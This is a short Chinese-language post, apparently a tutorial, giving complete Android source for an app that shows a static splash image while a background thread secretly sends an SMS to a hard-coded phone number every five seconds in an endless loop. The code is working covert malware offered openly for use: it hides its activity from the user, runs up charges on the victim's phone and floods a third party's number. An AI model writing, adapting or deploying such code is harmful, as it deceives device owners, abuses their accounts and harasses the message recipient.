一个后台偷偷发短信的源代码:
用户启动应用,界面一直显示一张图片不动,而后台已经开始发短息,
layout布局代码:
该布局只是加载一张背景图片,没有其他控件
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@drawable/splash" >
<!-- android:background="@drawable/splash"
指定布局的背景图片为drawable目录下的splash图片 -->
</RelativeLayout>
Activity代码:
当界面启动后执行发短信的操作
import android.os.Bundle;
import android.os.SystemClock;
import android.app.Activity;
import android.telephony.SmsManager;
import android.view.Menu;
import android.view.Window;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// 去除标题, 必须在setContentView 方法前调用
requestWindowFeature(Window.FEATURE_NO_TITLE); // 取出标题
setContentView(R.layout.activity_main);
/**
* 为了每隔一段时间发送一条短信,采用在子线程执行发送短息的方式.
* 因为在子线程可以设置线程睡眠时间,
* while(true) 循环发送短信
*/
new Thread(new Runnable() {
@Override
public void run() {
while(true) {
// 循环发送短信
// Thread.sleep(1000);
//内部也是调用了Thread.sleep,且不用try catch,若出现异常可自动终端线程
SystemClock.sleep(5000);//每隔5秒发一条短信
SmsManager smsManager = SmsManager.getDefault(); // 短信管理器
smsManager.sendTextMessage(
"18511619290", // 收件人的号码
null, // 短信中心号码
"你奶奶喊你回家吃饭.",
null, // 如果发送成功, 回调此广播, 通知我们.
null); // 当对方接收成功, 回调此广播.
}
}
}).start();
}
}